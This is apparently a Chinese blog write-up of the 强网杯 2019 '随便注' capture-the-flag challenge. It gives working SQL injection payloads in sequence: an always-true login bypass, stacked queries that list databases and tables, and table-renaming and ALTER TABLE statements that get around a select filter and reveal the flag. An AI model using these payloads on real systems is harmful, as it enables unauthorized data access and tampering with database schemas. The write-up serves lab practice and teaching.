[强网杯 2019]随便注 1

[强网杯 2019]随便注 1

万能密码上一波,回显成功,判断为 ' 闭合注入

?inject=1' or 1=1 --+

image-20241104231322638

( ?inject=1 union select 1,2,3 )union尝试,根据回显,发现存在字段过滤,过滤了select包括where等操作

/select|update|delete|drop|insert|where|\./i

image-20241104231703485

尝试闭合堆叠

?inject=1';show databases;

image-20241104231930874

堆叠回显成功,并注意到数据库 ctftraining

查询数据表

?inject=1';show databases;use ctftraining;show tables;

image-20241104232148786

查询FLAG_TABLE表字段,显示not_flag,查询news和users皆无果,说明flag不在这个库,转向 supersqli

?inject=1';show databases;use ctftraining;show tables;show columns from FLAG_TABLE;

image-20241104233326834

发现两个库

1';show databases;use supersqli;show tables;

image-20241104235427054

查询1919810931114514库,发现flag,但是未显示flag

1';show databases;use supersqli;show tables;show columns from `1919810931114514`;

image-20241104235604038

这时候需要用到select,但是被过滤了,所以选择用换表的方式,用输入框帮忙查

1';show databases;use supersqli;show tables;show columns from `1919810931114514`;

rename table words to abc;		修改原来的words为任意名
rename `1919810931114514` to words;		将1919810931114514代替成words
ALTER TABLE words ADD id int(10) DEFAULT '12';		往新words添加id字段(因为1919810931114514没有id字段,不添加查询出错)
ALTER TABLE  words CHANGE flag data VARCHAR(100);	
show tables;

构造payload

1';rename table words to abc;rename table `1919810931114514` to words;ALTER TABLE words ADD id int(10) DEFAULT '12';ALTER TABLE  words CHANGE flag data VARCHAR(100);show tables;


!!!这边数据库语句一定要注意大小写,很邪门,小写报错

成功显示出数据表信息

image-20241105001208184

万能密码伺候

1' or 1=1;

成功拿到flag

image-20241105001258350

posted @ 2024-11-08 18:50  TazmiDev  阅读(12)  评论(0编辑  收藏  举报